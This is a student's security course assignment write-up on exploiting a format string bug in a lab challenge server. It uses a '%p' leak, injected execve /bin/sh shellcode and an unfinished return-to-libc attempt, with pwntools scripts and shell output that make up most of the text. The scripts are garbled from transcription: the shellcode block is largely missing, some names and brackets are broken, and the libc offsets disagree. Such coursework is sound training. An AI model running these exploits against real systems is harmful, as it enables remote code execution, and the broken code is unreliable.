Assignment 3 - Format String

Hritesh Sonawane

Reference(s):

- https://owasp.org/www-community/attacks/Format_string_attack
- https://cwe.mitre.org/data/definitions/134.html
- https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability
- https://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited

After establishing a connection to the server, I sent the format string "%p" to leak an address from the stack. This address was captured in the server's response and decoded from hexadecimal format, revealing a memory location within the application's stack.

To ensure the shellcode could execute correctly, I adjusted the leaked address by adding an offset of "0x26C0" to point to the specific buffer location where my shellcode would be placed. The shellcode was crafted to invoke a shell using the "execve" system call, specifically moving the address of the string /bin//sh (represented as "0x68732f2f6e69622f") into the rdi register. This address was pushed onto the stack to set up the command for execution.

Finally, I constructed the payload by combining the shellcode, NOP padding for alignment, and the adjusted buffer address. Upon sending this payload, I successfully gained an interactive shell to rpint the flag.

Used the GCP web shell as I have a Mac and binary analysis was not possible, even on a VM as we discussed in class too!

```
hriteshsonawane01@instance-20241002-224254:~$ python3 fstring shell.py
[+] Opening connection to 35.209.254.29 on port 33822: Done
[*] name address: 0x7fffbcea1860
[*] Switching to interactive mode
Here's what the stack looks like after your input:
    0x7fffbcea1840: 25 70 0a 00 c6 7f 00 00 <-- name
    0x7fffbcea1848: e5 bd 44 31 c6 7f 00 00
    0x7fffbcea1850: d0 04 af 36 3a 56 00 00
    0x7fffbcea1858: 80 18 ea bc ff 7f 00 00
    0x7fffbcea1860: 48 31 f6 56 48 bf 2f 62 <-- info
    0x7fffbcea1868: 69 6e 2f 2f 73 68 57 54
    0x7fffbcea1870: 5f 6a 3b 58 99 0f 05 90
    0x7fffbcea1878: 90 90 90 90 90 90 90
    0x7fffbcea1880: 90 90 90 90 90 90 90
    0x7fffbcea1888: 60 18 ea bc ff 7f 00 00 <-- return address |
s 1s
Makefile
challenge
flag.txt
 cat flag.txt
CY6120{leak & execute typbjwfh}$
```

Exploit code: (took help from GPT and Faaiza as I couldn't get the padding right)

```
Users > swordfish > Documents > Projects > cy6120 > assignments > a3-buffer-overflows > 🦆 fstring_shellcode.py > ...
       from pwn import * # type: ignore # noga: F403
      remote_conn = remote('35.209.254.29', 32392) # type: ignore # noqa: F405
      remote_conn.recvuntil(b'What\'s your name?')
      remote_conn.sendline(b'%p')
      remote_conn.recvuntil(b'Hello, ')
      addr_buffer = int(remote_conn.recvline().decode().strip(), 16)
      addr buffer += 0x26C0
      log.info(f'name address: {hex(addr_buffer)}') # type: ignore # noqa: F405
      remote_conn.recvuntil(b'> ')
      shell_payload = asm(""" # type: ignore # type: ignore # type: ignore "asm" is not defined
      mov rdi,0x68732f2f6e69622f
                                       # Push the stack pointer onto the stack (argv pointer)
                                       # Pop the syscall number into rax
                                       # Invoke the syscall to execute the command
      remote_conn.sendline(
        shell_payload +
                                           # Add the shellcode that will be executed
          b'\x90' * (40 - len(shell_payload)) + # Pad the payload with NOP instructions to ensure a smooth jump to the shellcode
          p64(addr buffer)
                                           # Append the packed address of the buffer where the shellcode resides # noga: F405 # type: ignore
      remote_conn.interactive()
```

For part 2: return to libc:

```
fstring_return_to_libc.py U X
assignments > a3-buffer-overflows > 🔁 fstring_return_to_libc.py > ...
      from pwn import * # type: ignore # noqa: F403
      remote_conn = remote('35.209.254.29', 32392) # type: ignore # noqa: F405
      def leak_address():
          remote_conn.recvuntil(b'What\'s your name?')
          remote_conn.sendline(b'%p')
         remote_conn.recvuntil(b'Hello, ')
         leaked_address = int(remote_conn.recvline().decode().strip(), 16)
        return leaked_address
      stack_address = leak_address()
      libc_base = stack_address - 0x26C0
      system_addr = libc_base + 0x52990
      bin_sh_addr = libc_base + 0x1B45BD
      log.info(f'Stack Address: {hex(stack_address)}') # type: ignore # noqa: F405
      log.info(f'Libc Base Address: {hex(libc_base)}') # type: ignore # noqa: F405
      log.info(f'System Address: {hex(system_addr)}') # type: ignore # noqa: F405
      log.info(f'Address of "/bin/sh": {hex(bin_sh_addr)}') # type: ignore # noqa: F405
      payload = b'A' * 40
      payload += p64(system_addr) # type: ignore # noqa: F405
      payload += p64(0x0) # type: ignore # noqa: F405
      payload += p64(bin_sh_addr) # type: ignore # noqa: F405
      remote_conn.sendline(payload)
 30 remote_conn.interactive()
```

I'll continue working on it, but this is what I understood until now:

To perform a "Return to libc" exploit, I started by identifying the offsets for the system function and the string /bin/sh in libc.so.6 using readelf and strings commands. For example, I found system at 0x000000000052290 and /bin/sh at 0x1b45bd. However, I'm still working on confirming the correct address for /bin/sh.

Next, I plan to leak an address from the process to determine the base address of libc.

```
libc_base = leaked_address - offset_to_known_function
```

Once I have the libc base:

```
system_addr = libc_base + offset_of_system
bin_sh_addr = libc_base + offset_of_bin_sh
```

The final payload will involve padding to reach the return address and appending the addresses of system and /bin/sh???:

```
payload = [padding] + [system_addr] + [bin_sh_addr]
--- Thank you!
```